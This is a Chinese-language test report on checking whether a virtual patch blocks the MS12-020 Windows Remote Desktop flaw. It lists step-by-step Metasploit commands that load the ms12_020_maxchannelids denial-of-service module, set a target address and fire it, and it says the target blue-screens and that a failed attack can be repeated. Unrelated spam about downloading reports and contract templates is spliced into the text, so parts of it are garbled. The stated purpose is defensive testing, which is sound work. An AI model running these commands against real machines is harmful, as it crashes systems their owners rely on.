关于MS12-020漏洞攻击测试
报告
软件系统测试报告下载sgs报告如何下载关于路面塌陷情况报告535n,sgs报告怎么下载竣工报告下载
测试目的：针对windows操作系统的漏洞，在为打补丁之前，利用虚拟补丁对漏洞进行防护的有效性，保护用户使用安全。
操作系统（版本、语言）:服务器端：windows server 2008 R2 64位，客户端：windows xp 64位。
一、虚拟补丁功能测试过程
漏洞编号：MS12-020
测试工具：Metasploit
测试过程：
客户端：
1、确定系统没有安装MS12-020补丁（KB2621440 或 KB2667402）
2、启用远程桌面服务
攻击主机
1、安装攻击测试工具 metasploit。
2、安装完后，打开metasploit： 开始—所有程序—Metasploit中的Metasploit Console控制台：
3、控制台打开后，将出现如下界面
4、攻击开始
(1) 输入如下命令（红色字体为需要输入部分）
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > show options
Module options
(auxiliary/dos/windows/rdp/ms12_020_maxchannelids):
Name Current Setting Required Description
—- ————— ——– ———–
RHOST yes The target address
RPORT 3389 yes The target port
msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.51.88
RHOST => 192.168.51.88
5、攻击命令输入
msf auxiliary(ms12_020_maxchannelids) > exploit
6、 被攻击主机将瞬间蓝屏
备注：请在被攻击主机系统完全启动完毕后，等待一会儿再进行攻击，因为一般VM启动后，远程桌面需要稍等片刻才会完全启动完毕。
攻击时，如果未出现蓝屏，请重复攻击1-2次。
攻击成功后，将显示RPDWD.SYS问题导致蓝屏
7、攻击主机显示目标计算机的RDP
协议
离婚协议模板下载合伙人协议 下载渠道分销协议免费下载敬业协议下载授课协议下载
Down掉
浙公网安备 33021202002483